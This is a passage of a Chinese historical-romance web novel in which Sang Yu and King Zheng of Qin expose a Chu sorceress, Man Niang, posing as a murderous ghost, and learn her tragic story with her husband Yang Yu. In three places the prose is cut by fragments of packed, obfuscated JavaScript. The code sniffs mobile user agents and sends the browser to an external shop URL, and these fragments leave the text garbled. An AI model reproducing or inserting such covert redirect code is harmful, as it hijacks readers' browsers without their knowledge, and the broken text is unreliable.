相瑾道:“若是要寻楚巫,你应往楚地才是。” 桑语一噎,她想了想,“实不相瞒,此人乃我心悦之人,他家住咸阳,我舍不得离他太远。所以我才来商坊中碰碰运气,万一遇见了会巫术的楚人呢。” 元青迟疑了片刻,“我认识一人,虽非楚巫,却略通巫蛊之术。” “真的吗?”桑语大喜过望,“太好了!这太好了!元青,你能否带我见见他?” 元青却是显得有些为难,“此人性格孤僻怪异,不知他是否愿意出手相助。” 既然有希望了,桑语自然不想错过这个机会。“如果可以,能否帮我劝说劝说?只要大师肯出手相助,定少不了谢礼。” 元青眼一抬,“这世上,并非所有人会被金银蒙眼。” 桑语道:“是我唐突了,我实在是太过心急了,毕竟这是关乎到人命的大事。元青,希望你能理解我。” 元青抬手叫了小二过来,要来笔墨。他从怀中拿出一方帕子,“唰唰”地写下一串字,然后将它递到桑语面前。 桑语疑惑地接过,看了一眼,然后抬头问道,“这是什么?” “你明日来此处,我带你去寻那位老者。” “真的?多谢!”桑语欣喜不已,将帕子好好收起。 当下三人告别,桑语往宫门的方向走去,路经一条小巷,突然缓缓止住了脚步。她扭头撇了一眼,身后只有被风卷起的枯叶。 “出来吧!躲躲藏藏的,你们不累吗?” 话音甫落,一枚暗器自她耳畔掠过,带起一缕细微的风声。桑语反应迅捷,立即闪身躲过去了。使用暗器的劲力虽非上乘,但胜在距离之近,加之桑语防备不足,若非多年练就的敏锐,她恐怕就中招了。 袖中剑刚滑入掌心,就在此时,一道身影突然从墙头坠落,直挺挺地倒在她的面前,鲜血溅洒在她的衣摆上。 桑语收起了袖剑,血腥味在空中弥漫了开来。 不过须臾,一个身着白衣的清秀男子出现在了她的面前。 “别怕,他们都已经死了。”他抱着剑,挑眉望向桑语,“今日是你运气好,能遇上本公……本公子!不然,你早已死于刀剑之下。” 看看满地横七竖八的尸体,桑语蛾眉微蹙。这又是哪家奴隶主来向她寻仇了?就这么几个人,还真是看不起她! 桑语往后退了几步,然后恭身下拜:“多谢公子救命之恩!” 那人摆摆手说:“不须如此大礼,路见不平,举手之劳而已。” “若非公子出手相救,我恐怕早已身首异处,真不知如何报答才是。” “别别别!可千万别说什么以身相许!吾已有美妾数人,实在是无福消受了啊!” 桑语闻言,忍不住轻笑出声,“公子俊美,我可不敢高攀,否则就是以怨报德了。” 自不远处传来一阵脚步声,那人警惕地拔出剑,明晃晃的剑尖指向来人。 “我的祖宗啊!啊!啊!” 一个青衣小厮急切地跑进来,却是被尸体绊了一跤,吓得失声尖叫起来。 那人嫌丢人似的捂住了脸,随即转头看向桑语,“此处很快就会有人发现的,你快些走吧,我自断后。” 桑语再次躬身道谢,快步离开了这个是非地。 她回头看了一眼。这个“白衣男子”,她曾经见过,正是隐藏于蒙家军里的那位女子。 当真是巾帼出英雄。 28. 老伯 蒙毅正要下值回府,忽见桑语步履匆匆地朝他而来。他正欲开口询问,敏锐地嗅到一丝血腥味。 “桑山主,你受伤了?” 桑语路上走得急,轻咳了几声,这才缓过气息道:“多谢将军担心,我并未受伤,这些血渍不是我的。我此番前来,是有要事要禀告给君上,烦请将军行个方便。” 蒙毅听罢,没有多问,只是命人将宫车引来。 宫车在大殿外停下。 桑语从宫车上轻盈跃下,径直要往殿内走去,却被蒙毅伸手拦住。 “山主,礼不可乱。”蒙毅低声说道。 待宫人入内禀报后,桑语这才从纷乱的思绪中回过神来,她侧身向蒙毅微微点头致谢,然后才迈步踏上台阶。 殿内略显空荡,桑语走路时都不敢用力,生怕脚步声也会惊扰了那匹孤狼。 秦王政放下手中的竹简,眉头微微皱起,“你受伤了?” “这并非我的血,”桑语抿了抿略显干燥的唇瓣,随后又道,“君上,有水吗?” 她喝了酒,又匆忙赶路,早已是口渴难挨。 秦王政召来寺人巽,吩咐道:“为桑山主斟茶来。” 桑语的目光不经意间扫过案上的竹简,好奇地问道:“君上正在读何书?” “论语。” 桑语心中有些诧异。她原本以为,身为秦国君王,其案头所陈之书,理应多为法家经典,诸如《商君书》之流。然而,似乎与她所想大相径庭。 案几之旁,错落有致地堆放着数卷竹简。桑语的目光在这些竹简上缓缓游移,心中暗自揣测,这些书籍之中,或许不仅限于法家之论,更可能涵盖了诸子百家的思想精华。 寺人巽端了杯温茶进来,递给桑语。桑语与他道了一声谢,双手接过茶水,却并不着急喝。 她详尽地复述了今日所发生之事,只是将一些言论隐去不提。 秦王政沉吟着,他的手指轻轻叩击着王座的扶手,发出有节奏的声响。 “明日,寡人随你一起去。” 桑语说了声好,随后又问:“此事是否需要告知太卜令?” “暂且不必,人多反而会打草惊蛇。只你我二人前去,便足矣了。” 桑语颔首应是,这才捧起茶杯,慢慢喝了口茶。片刻之后,只听得秦王政问道:“你又喝酒了?” 桑语闻言,目光微抬,心中闪过腊祭那日他是否曾去过自己小院的念头,但终究还是将这份好奇与询问咽回了肚里,转而答道:“确是浅酌了几口,但并未过量。” 秦王政朗声传唤蒙毅入内,“蒙毅,你护送桑山主回去。”说罢,他又转向桑语,“今日之事,你费心良多,回去后早些休息吧。” 随着桑语的离去,殿内又重新归于沉寂,只余下秦王政与他的身影。 他竭力平稳住呼吸。他深知自己身处一个阴谋中,厉鬼索命也好,楚巫下蛊也罢,一切不过是想置他于死地。 秦王政的双手紧握成拳,青筋隐现。他的目光穿透殿内的重重帷幕,仿佛要望穿这夜色。 月光如水,洒落一地。 桑语在这片朦胧的月色中缓缓行走,四周幽静无声。她沉默了片刻,终于还是轻声问道:“蒙将军,蒙老将军近来可好?” 蒙毅回答道:“大父安好。” 桑语拉长了声音“哦”了一声,似乎想要继续寻找话题,却又不知从何说起。 二人沉默着,回到了小院。 蒙毅拱手辞别,“山主好梦!” “多谢!”桑语含笑着颔首,微微回了一礼,“天黑路难走,将军请多加小心。” 她立在原地,目送着蒙毅的身影逐渐远去。 黑暗渐渐吞噬了他,已经不可见其躯体。 他就这样消失在黑暗之中,仿佛从未在那清辉的月光下出现过一般。 “阿姊,阿姊?” 椿儿的呼唤声带走了桑语满腹的心事。她转过身来,挽住椿儿的胳膊,将整个身子都靠在她身上,“走了一天了,累死我了!” “迟迟给阿姊煮了黄芪枸杞鸡汤,还在灶灰里温着呢。” “还是你们对我好!” ………… 正值夕阳西下的时分,桑语一行三人走到一片竹林深处。 一个皓首老翁正弯腰锄地,尽管他听到了逐渐接近的脚步声,却依然未曾停下手中的劳作。 元青朝桑语递了个眼色,推开篱笆门,笑着走进去:“杨老伯,许久不见,一切可好?” 杨老伯停下锄头,他撩起搭在脖子上的毛巾擦了擦脸上的汗,“元小友,今日怎么有空来看看我这糟老头子?” “我偶得一坛好酒,特地前来,请老伯您一同品尝!”说着,元青还轻轻摇晃着手中的酒坛。 “这酒看上去可不便宜啊!”杨老伯说着,却将目光落在了不远处的二人身上。 远观之下,杨老伯显然已至暮年。他的脸上布满了岁月的痕迹,鬓角的发丝均已斑白,身形弯曲,显露出岁月的沉重。杨老伯身穿的粗布麻衣上缀满了补丁,脚下的草鞋更是破损严重,几乎辨不出原本的形状。 若非提前知晓,桑语几乎无法将眼前的杨老伯与精通解蛊之术的能人相联系。 元青急忙堆起笑容,“真是什么都瞒不过老伯您啊。” 杨老伯慢吞吞走向茅屋。若是细看的话,便会发现他是一跛一跛地在走。 他推开摇摇欲坠的木门,屋檐下的风铃发出一阵寂寥的声响。杨老伯转过身,淡淡道:“进来吧。” 三人随即进入茅屋,只见室内陈设极为简陋,几乎可以说是家徒四壁,仅有几张破旧的草席铺地。 杨老伯拿出几个陶碗,小心摆放在席上。 元青揭开酒封,顿时一股酒香四溢而出。 杨老伯闭眼吸了口气,“这是,老凤酒?”他睁开眼,眼中些许试探之色,“这百年老酒,非常人可得啊。” 桑语笑着接话道:“酒是人喝的,都说‘英雄何问出处’,美酒更不用谈及出处。既有如此佳酿,老先生尽情享用便是。” 杨老伯朗声笑了。他端起碗来喝一口酒,然后直截了当地问道:“说吧,你们找草民,是有何事?” “老伯,在下有一事相求!” 此前一直沉默不语的秦王政突然开口说道,他缓缓摘下头上的斗笠,露出了真实的面容。 杨老伯仔细地打量着他,“这位公子,你有何事?” “巫蛊。”秦王政道:“在下受了巫蛊之灾!” 杨老伯脸上神色未有半分改变,“可惜了这坛好酒。”他重重叹了口气,“恕老朽无能为力,公子请回吧!” 桑语扭头看向了身旁的秦王政,以目示意,秦王政略略点了下头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163482|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >元青一仰脖子将碗中酒喝干了,咳嗽了两声,然后问道:“老伯,可知是谁下的蛊?” “不知。”杨老伯低头将袖子给挽了起来。 桑语提了口气,暗暗在腿上使劲一拧,顿时疼得眼泪直打转儿,倒像是悲伤至极。 她伸手挽住秦王政的胳膊,一手掩面,“真是苍天无眼,老天弄人呐!你我夫妻一场,本是恩恩爱爱,如今却要天人两隔!你若是不在了,我该怎么活啊!你让我怎么活啊!” 桑语眼中无泪,只是干嚎了几声。她刚想将手抽回,却被秦王政一把握住了手腕。 这一刻,她突然愣住了,思绪仿佛瞬间短路,无法继续。 秦王政并未言语,只是握着她的手松了松。 桑语迅速冷静下来,摆出一副哀怨的模样,“上穷碧落下黄泉,无论君往何处,妾必相随。君勿疑,妾定不食言。”说着说着,连她自己都快信了,眼泪真的流了下来。 秦王政凝视着她眼眶中打转的泪水,片刻后,伸出手将她轻轻揽入怀中。 元青有感于此,继续追问道:“杨老伯,真的没有别的办法了吗?” 杨老伯摇摇头,“巫蛊之术,非寻常人可以应付。这世间可解蛊的,除了下蛊之人,再无二人。”他眼睛盯着秦王政问道:“二位,既然你们屈尊来了,不妨说实话吧。你……并无中蛊之相。” 秦王政避开这个问题,“老伯,在下有一事相问。” “公子请讲。” “近来有厉鬼索命,害死了不少无辜的性命。”秦王政说着话,眼睛紧紧盯着杨老伯,“老伯避居一隅,可曾听说过此事?” 杨老伯的目光有些躲闪。 “老朽虽偏居此处,却也有些耳闻。只是不知公子这是何意?” 秦王政道:“‘厉鬼’为祸人间,老伯心中作何之想?” 杨老伯只是一笑,迎上他的眼神,“公子这是说胡话呢,老朽只是一个农人,又不会捉鬼驱邪之事,能够作何之想?” 桑语也不想继续兜圈子了,虽然她不知道秦王政究竟有何安排,但这竹林中必定不是风过无痕。 “我胆子小,眼看这都快天黑了,咱们就不要聊这些鬼神之事了。不如,我讲个故事给诸位听吧。” 众人似乎接受了这个建议,只是各自饮酒。 桑语抬了抬眼,又朝着屋外望了眼,这才开口道:“荆南之地,有南蛮之族,其族中女子极擅巫蛊之术。巫蛊,因神秘而可怕。其实,真正可怕的,应该是人心,怎么能怪一只小虫?蛊术,可以害人,亦可以救人。只是听说,这蛊术传女不传男……” 杨老伯神情一变,声音骤冷,“姑娘所言,究竟是何意?” 见他慌了,桑语越要将话说下去,“传闻中,最精通蛊术的那名女子,被称为‘草鬼婆’。接受了这个名字,也就意味着需要背负更多的责任。草鬼婆的生活,有荣耀,也有孤独。或许是上天见怜,她遇上一个外乡男子。一个未尝情爱的女子,却又渴望着情爱。于是,一句温柔的话语,就成为了猎人的陷阱。女子与男子私定了终生,男子甚至偷习了巫蛊术。可是啊,最恨天下负心汉……” “够了!” 这些话成功地激怒了杨老伯,他猛地将酒碗砸向地面,碎瓷片散落一地。 他的手颤抖着,紧紧地指着桑语,喉咙里发出哽咽的声音,半晌都说不出话来。 29. 蔓娘 桑语丝毫不惧,昂着头道:“杨老伯,您是不是想说,我这个小女子什么也不知道,如今却上下嘴唇一碰,空口白牙。既然如此,您就将真相告诉我们吧!那下蛊之人,传闻中的‘厉鬼’,到底是谁?只有当面见到那个人,我才能确认自己所言是否错误。” 见他怒气稍减,桑语顿了顿,便继续说道:“来这里之前,我们听元青讲了许多关于您的故事。所以,我才会说,蛊,亦可以救人。那些被杀的人,脱下甲冑,不过是普通的庄稼人。他们不知道何为巫蛊,只担心庄稼收成不好,只忧心孩子无饭可吃。那些已死之人,皆是无辜之人。杨老伯,您乃善人,真的可以眼睁睁看着那些孩子失去阿翁吗?” 不知是哪句话触动了杨老伯的心绪,他颓然跌坐下来,沉声道:“好,既然你们想知道,我便说与你们听吧。” 他垂下头轻轻叹出一口气,正欲说话,秦王政腾地站起身,压低了声音,“小心!她来了!” 闻言,众人尽皆脸色一变。 桑语将唇抿紧,右手摸向腰侧。元青四下一看,顺手抄起一个钉耙,侧身挡在杨老伯身前。而杨老伯的嘴角颤抖着,他抬头看了眼屋顶,又迅速垂下头去。 头顶传来一阵女子歌声:桑之未落,其叶沃若。于嗟鸠兮,无食桑葚。于嗟女兮,无与士耽。士之耽兮,犹可说也。女之耽兮,不可说也…… 歌声幽怨而悲戚,如泣如诉,真令闻者伤心听者流泪。 桑语与秦王政相视了一眼。 出城的轺车上,秦王政将他那日所见之怪事讲了一遍。 桑语这才将心中的疑惑解开了,脑海中随之有了许多想法。 秦王政之所以认为那人是怪物,无非是因为那人的声音亦男亦女。桑语听了,却只觉得那人擅于控制自己的声线。 而那些血水,中尉已经查清了,并非人血,而是狗血。 那“厉鬼”的手段并非多么高明,甚至有些拙劣,但她充分利用了大众对未知的恐惧心理。 桑语将思绪拉回当下,正想朝屋顶喊话几句。突然,杨老伯踉跄几步,语气痛苦地唤道,“蔓娘,蔓娘,既然来了,为何不出来与我相见?” 歌声戛然而止,四周无人回应。 风铃发出一阵响动,在这阒静中,这响声分外清脆,显得颇有些诡异。 而这份诡异,仿佛是有意激发所有人的不安。 杨老伯已经满脸是泪,兀自浑身颤抖着。他嘴中念念有词,不断地重复着“蔓娘”二字。 风吹门响,屋外似有人影闪过,如鬼魅一般。 “蔓娘!蔓娘!”杨老伯在痛苦中呼唤着,他踉跄着脚步,往屋外走去。泪水已经模糊了他的眼睛,他依旧眺望寻找着,目之所及却只有黑暗,“蔓娘,现身吧!莫要再做错事了!杀人越多,犯下的冤孽越深!” 竹林不语,黑夜依旧寂静无声。 良久,一道轻柔的女声响起:“秋风起兮木叶飞,独坐空闺兮心伤悲。思夫君兮远别离,长夜漫漫兮泪低垂。望明月兮照我床,清光皎皎兮如君旁。梦魂飞兮寻君迹,山川迢迢兮路茫茫。” “月华皎兮照我床,独坐叹兮夜未央。盼重逢兮心如焚,愿携手兮共徜徉。望穿秋水待归期,重逢之日定不忘。愿此生兮共白头,相守到老情更长。”这次是男人的声音。 “君今日一别,何时归?” “吾当速归,誓与吾妻长相守。” “裕郎,裕郎,一去何时归?” “当归,当归!” 女声和男声交互响起,一阵啜泣声后,终于都消失了。 杨裕哽咽着,他跪倒在地,双手轮流抽打着自己的脸。 元青也准备跟着出去,秦王政却伸手拦住了他,用眼神示意他在屋中稍候。 “裕郎啊裕郎,已经死了,死了。”女子的声音又响起来了,带着哀怨与恨意。 杨裕循声抬头看去,见屋顶上一抹熟悉的身影,正居高临下地俯瞰着一切。 月光迷蒙,她披散着长发,如同从深渊中爬出的鬼魅,又似受刑后落凡的谪仙。 杨裕站起身,仰起头道:“是我有负于你,我不敢奢求你的宽恕。你今日若以蛊杀我,是我应受的惩罚。只是,蔓娘,你可否……” 他话音未落,突然一道寒光从林中射出,一支暗箭直奔他的后背而来。 屋内众人皆是一惊,桑语与秦王政正要出手相救,只见一道长绫从屋顶上飞出,“唰”地一下卷住杨裕的身子。 那支羽箭,擦着衣袖而过,真是惊险无比。 众人这时也从屋中出来了,秦王政吹响了一只陶埙,其声深沉而悠扬。随着埙声飘荡,四周传来纷至沓来的脚步声,竹林中有不少人影晃动着,从不同的方向朝茅屋聚拢过来。 “这是?”元青瞪大了眼。 桑语略带内疚地看了看元青。 蒙毅走到秦王政面前,郑重跪倒:“臣救驾来迟,请君上恕罪。” 秦王政垂眸看他一眼,只微一抬手,面色颇为深沉,“谁放的暗箭?” 蒙毅一招手,两个身着软甲的士兵走了过来,他们还押着一个瘦小的男子。那男子低垂着脑袋,因恐惧而浑身颤抖着。 秦王政伸手拔出长剑,寒光闪烁间,他将剑架在那男子的脖颈之上,眼神冷冽如冰。 “寡人生平最恨背叛,尔身为秦人,却枉顾军规,此为背叛同袍之谊。尔纵死万次,也不足惜。” 秦王政握住刀柄的手微一用力,那男子的脖子上瞬间沁出血珠。 “君……君上饶命啊!饶命啊!”他的声音颤抖得话不成句,“卑职,卑职是,是奉命行事。” 蒙毅上前踹了他一脚,“尔奉的什么命?秦王在此,尔说何混话?”说罢,抬脚又要踹他。 秦王政抬手制止住蒙毅,“寡人给你一个机会将功补过,你且说是奉谁人之命?” 那人听了,眼睛一转,“是,是相邦!” “相邦?”秦王政双眉蹙起。 “相邦说,若是那怪物现身,就一箭将其射死,以免伤了君上。”那人说得真切。 然而,此言一出,却引来一阵突如其来的喝斥。 “你说谎!” 众人皆循声看去,只见元青几步上前,叩首行礼道,“草民元青见过君上。” “无需多礼。” 元青遂起身垂手道:“此人眼神飘离,先前因紧张而有些结巴,然揭露相邦之言,却毫不吞吐。若非早有安排,怎会有如此变化?” 那男子被戳中了心思,他极力挣扎着想要挣脱束缚,然而身旁的两名士兵如同铁钳般紧紧按住他的身躯,使他动弹不得。 秦王政手中剑刃一转。 剑锋划过,那男子的身子向前直直倒下,脖颈处不断涌出鲜血。他瞪着一双眼睛,死不瞑目。 蒙毅跪下谢罪,“臣治下不严,犯下重罪,请君上责罚!” “行了,起来吧!此事虽与你有关,但罪不在你。” 秦王政自袖中取出一块洁白的帕子,擦了擦剑身上的血渍,然后将长剑扔还给蒙毅。 他转头看向那“怪物”,十几个士兵已将二人团团围住。除非那“怪物”有飞天遁地之术,不然根本不可能脱身。 黑夜被火把点亮,映红了那“怪物”的脸庞。 她满头白发,容貌却如十八九的少女。其貌美甚,一双眼睛脉脉含情。实在是难以想象,她居然是那杀人如麻的怪物。 虽知必死,蔓娘却毫无恐惧的神色,她反而笑了,笑得非常轻松,白发在风中肆意地飘舞着。 蔓娘看向桑语,“你,是何名姓?” 桑语答道:“我姓桑,单名一个‘语’字。” “桑语?”蔓娘依旧笑着,只是这次她笑得和哭一样。 桑语被笑得心里发毛。 秦王政不动声色地走了几步,直至悄然立于桑语身侧。 蔓娘倏的止了笑声,冷声说道:“哦,你就是桑语啊,久闻汝名。我本以为你是个难得的清醒之人,未曾想,原来也是个傻子呀。” “你!”蒙毅双手紧握剑柄,似乎随时准备拔剑而出。然而,桑语却伸手按住了那即将出鞘的长剑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163483|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蔓娘的目光缓缓流转,落在秦王政的身上,“死了这么多的人,秦王你一定很心急吧。若你能答应我一件事,不用你杀我,我自己就会去死。” 秦王政目光凛然,“你以为,凭你一人之力,能逃脱我大秦将士的包围?” “逃不过啊!”蔓娘又轻声笑了起来,“但是,你们知道的,我是巫女,我能让你的将士们尝尽生不如死的滋味。” 秦王政重重地闭眼,复又睁开,“好,寡人答应你!” 蔓娘的目光又挪到桑语身上,桑语顿觉眉角一跳,心里无端地生出几分恐惧。 “杀了她!”蔓娘的声音温柔,甚至像是撒娇,“你亲手杀了她,再取她的心头血。” “蔓娘!不要继续作孽了!” 杨裕被长绫缠住了手脚,只能痛苦地扭动着身体。 “闭嘴!”蔓娘撕下衣袖,将其揉成一团,塞进了杨裕的嘴里,阻断了他的任何言语。 “秦王,动手吧!”蔓娘的声音里透着诡异的兴奋。 桑语一时愕然无语。 她怎么觉得眼前的这个女人就是个纯疯子,亏得她先前对她还有几分同情。 桑语缓缓转过头去,正对上秦王政那双深邃而冰冷的眼眸,那眼神中透出的寒意,足以让人心生畏惧,仿佛自己已成了他砧板上的鱼肉,任由宰割。 他袖中寒光一闪。 那是,利刃出鞘的光芒。 桑语莫名感到心被紧紧揪住,一种奇怪的感觉油然而生。 如果她面对的是秦王政的杀意,她绝不会坐以待毙。然而,当她凝视着他的眼睛时,似乎能透视到他内心深处的想法。 “君上!就请君上动手吧!如此,我也算死得值得了!”说着,她仿佛认命般地闭上眼。 秦王政愈走愈近,近到桑语可以闻到他身上的血腥味。 桑语可以感觉到,匕首贴近她的衣衫,然后缓缓地划过。 想象中的疼痛并没有传来,反而是耳边忽然传来一阵惊呼声。 桑语半睁开一只眼,惊见秦王政正捂着自己的心口,鲜血从他的手指缝中缓缓渗出。 “君,君上,你,你……” 桑语的声音颤抖着,她手足无措,想要伸手去捂住伤口,可又不敢乱动。 秦王政艰难地笑了笑,微微摇头。与此同时,他的眼眸轻轻一转,望向了一旁的蒙毅。那眼神中无声的指令,蒙毅立刻心领神会,退到了一旁。 他站直身子,看向蔓娘,声音沉稳:“寡人身为一国之君,不可因己,而伤吾臣民。若是你需要心头血,寡人给你便是。” 蔓娘抬手一拍掌,“啧啧!如此胆识与担当,真是令人惊讶呢。”她自腰间解下一个精致的小葫芦,“此乃我亲手调制的止血药,看你敢不敢用。” 说罢,她手腕轻轻一扬。 桑语见状,身形一展,如同离弦之箭般疾冲而出,将那即将落地的小葫芦稳稳接住,随后迅速转身,将它递到了蒙毅的手中。 蒙毅接过小葫芦,满是担忧地说道,“君上,既是伤了肩臂,还是早些包扎为好。” “嗯!”秦王政往屋中走去时,又突然回头,看了眼桑语。 桑语迟疑地抿唇笑了笑。 “桑语,桑山主,”蔓娘开口唤她,又眯起眼睛打量她,“你倒是像极了我年轻时,不过,你不及我美貌。” 虽然这是实话,但桑语不是很想搭理她。 “你可是楚地之人?” 桑语闻言一滞,她并未回答,又听蔓娘语带自嘲地感慨道,“楚地的女子,都是重情重义之人。我许久未回楚地,便忘却了‘情义’二字,成了黑夜中的鬼魅。” “有情有义之人,和是哪儿的人,应该并没有什么关系。你做了坏事,就不要给自己找借口了。” 蔓娘嘴角染着一抹笑,“你是否想要听听我的故事?” 桑语不想被她左右,于是干脆不做声。 “既然你想知道,我便说与你听。” 蔓娘盘腿坐下,眼波在杨裕身上流转,然后开始讲述关于她自己的故事。 30. 故事 这世上的故事,多是始于萍水相逢。就像炎热夏日里的凉风,风过本无意,故事却永远发生在风拂过之后。 杨裕与蔓娘的初遇,像一出真实的幻梦。此后余生,纵使满路荆棘,那场幻梦永远是伤者躲藏的地方。 背负血仇的少年郎,藏身深山幽洞,欲寻短见之时,恰巧被采药的少女所救。 神女遇襄王,可惜神女有情,襄王却只有利用之意。 村寨位于云雾缭绕的山峦之间,三三两两鸡犬相闻。无休无止的纷扰战乱,似乎与这块净土无关。 蔓娘独自生活在一处吊脚楼中,她自幼失去父母,豆蔻时被选为“草鬼婆”。村中人尽皆敬她,但却无人愿意与她亲近。 照顾少年郎的日子里,她生平第一次有了家人的感觉。后来,她知道他叫杨裕,是秦国人。 蔓娘并不关心他的身世,她只知道,这是她的“裕郎”。 杨裕昏睡了几日,及到醒来时,发觉自己身处一间木屋中。屋中有些药味,桌上摆放着一些奇怪的瓶瓶罐罐。 他挣扎着起身,还未走几步,脚下便一软,本想扶住桌沿稳住身体,却不慎打翻了一个小罐。 蔓娘手上端着刚煎好的药,听到屋内动静,心道不好,慌忙推门而入。 小罐碎了,地上爬着几只黑色小虫,还有一只蝎子。 那少年正瑟缩在角落里,满脸惊恐地看着地上的爬虫,生怕它们会爬到自己身上来。 蔓娘忙搁下药碗,将手指贴近唇边,吹响了一声口哨。那些黑虫似是得了指令般,爬进墙角的黑陶大罐子中。 她的目光不曾离开地面,并未注意到少年眼中闪过一丝异样的光。 屋中重新恢复如常,蔓娘这才走到他面前,微笑着伸出手来,“外乡人,你还好吗?” 杨裕扶着桌角站起身来,抱拳拜道:“多谢姑娘救命之恩。” “你无需谢我,既然遇上了,理应搭把手的。”蔓娘转身端起药碗,“刚煎好的药,趁热喝了吧。凉了,苦!”说着,她将鼻子一皱。 杨裕见她如此,忍不住噗嗤一下笑了,又觉得有些尴尬,忙接过药碗。他看了看角落里的黑陶大罐子,“想来这些虫子倾注了姑娘的心血,自然是金贵无比的。我却险些伤害了它们,还请姑娘莫要生气!” 蔓娘甜甜一笑,“你无需自责,你是伤害不了它们的。” 杨裕喝完了药汁,就此在这儿住下了。 村寨向来不喜外人入内,可蔓娘却一味地坚持,最终双方妥协了,蔓娘亲手在杨裕身上下了情蛊。若是他敢背叛村寨,背叛蔓娘,最终必将早衰而死。 二人以天地为媒,结为夫妻。 是夜,淡淡的月光洒入房中,他们拥抱着彼此,桌上的红烛摇曳,二人始终紧紧依偎着…… 杨裕在村寨中生活了一年,他教蔓娘读书写字,教她用树叶吹奏音乐。 二人在月下相拥,蔓娘也开始留意起了路旁新开的小野花。 终于,杨裕找了个理由,提出想要学习巫蛊之术。蔓娘虽不解丈夫之意,但是她的爱意,让她选择了满足他的想法。 时间又过了一年,杨裕最终学会了如何以蛊杀人。 他借口回乡探亲,离开了村寨,自此杳无音信。 蔓娘每次醒来,看到枕边空空,总是泣不成声。与丈夫的一切,仿佛只是一场梦境,最终化为云雾隐去。 她终究还是放不下! 于是,她带着女儿,离开生她养她的村寨,踏上了寻夫之路。 故事讲到这里,远处隐约传来一声鸡鸣。蔓娘的目光暗淡,似乎陷入了某种情绪之中。 桑语听得揪心不已,这又是“渣男痴女”的故事,并无太大的起伏转折。但是,她无法想象的是,一个女子到底经历了什么,才会变成今日的模样。 身后传来一个声音,问道:“那孩子在何处?” 桑语回头看去,秦王政从茅屋中缓步走出,一只胳膊有些僵硬地垂着。除此之外,看不出受伤的迹象。 闻言,蔓娘表情瞬间一滞,她慢慢抬起头,眼神有些空洞。 “我的孩子?孩子!” 桑语看着蔓娘,瞬间心中一沉。她以为蔓娘要发怒,但是没有。 蔓娘只是仰头大啸,使劲拉扯着自己的头发,“梦儿,我的梦儿!阿母没用,阿母没能保护好你!梦儿莫怕,梦儿莫哭,阿母来救你了!阿母来救你了!” 见秦王政似要追问,桑语先他一步,伸手一把拉住他的袖摆,压低声音道,“君上,莫要再刺激一个母亲了。” 秦王政眼睫一颤,掩住眼中的情绪。他看着桑语,微微点头,以示答应。 桑语这才松开拽着袖摆的手,往前走了几步。秦王政瞬间明白了她的意图,立即伸手拦住她,“危险!” 桑语却是微微摇头,“现在必须让她冷静下来,以免她有过激之举。这里,只有我是女子,除了我没有更适合的人了!”她轻推开他的手,重重点了下头。 秦王政看向蒙毅,后者一抬手,埋伏在暗处的弓箭手将箭搭在弦上,引满待发。 秦王政看着桑语向那巫女一步步走近,她似乎不怕自己会被伤害,而是缓缓蹲下身子来,小心翼翼地伸手抱住巫女。 如此真的有用,处于癫狂状态的巫女终于冷静下来了。 杨裕被碎布团堵着嘴,只能发出‘呜呜’的声音。 元青伸手将他嘴里的布团给扯了出来。 杨裕慌忙道:“蔓娘,能否听我说几句?” 桑语白眼一翻:“有话就直说吧,别兜圈子。” 杨裕被这话一噎,微微一顿后才道:“我为报得家仇,以艾灸自毁一足,重新得到那些贼人的信任。我欲与他们同归于尽,却日夜思念君容,害怕从此不相逢。大仇得报之后,我回到了村寨,你却不在。我以为,你怪我,故不愿相见。离开村寨后,我遇一老妪,她身患恶疾,却无钱医治。我用蛊虫替她治病,俟其病愈,求我就医者多矣。我常想自尽,可又觉得,若是活着,我可以救人!杨裕这一生,无愧天地,只愧吾妻。” 蔓娘抬眸怔怔地看着他,“你回过村寨?” “是!鬼伯可以作证!”杨裕似是忽然想起什么,他挣扎着要站起来,身旁的士兵却用剑逼退他。杨裕依旧坚持着,大有不让他过去就撞死在剑上的决心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163484|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 蒙毅命令士兵道:“让他过去罢!” 杨裕拖着脚,蹒跚踉跄地往那茅屋去。 桑语听到蔓娘喃喃自语道:“他的脚,多疼啊!” 杨裕从屋檐下解下一物,宝贝似的揣在怀里,又小跑着回来。他站定了喘着气,然后从怀中拿出一串风铃。 “这是?这是!”蔓娘惊讶地接过风铃,手指颤抖着。 这是他亲手做的,一直挂在木屋的廊下。 她离开时,还想过带走它,但是最终作罢。 蔓娘伸手抚上了他的脸。 这张脸,原来她一直未曾忘过。 “初次见君之日,仅仅一眼,蔓娘便永远也无法忘记了。与君为夫妻,我仍常想起那一眼,彼时我终于知道,何为心动。纵使不知前路艰如许,我心依旧满是期待。然而,你竟诳言欺骗于我!若再忆起那一眼,只余恨意!我变得不人不鬼之后,常想,若是没有遇见裕郎,没有那一眼,今日又会是何模样?” 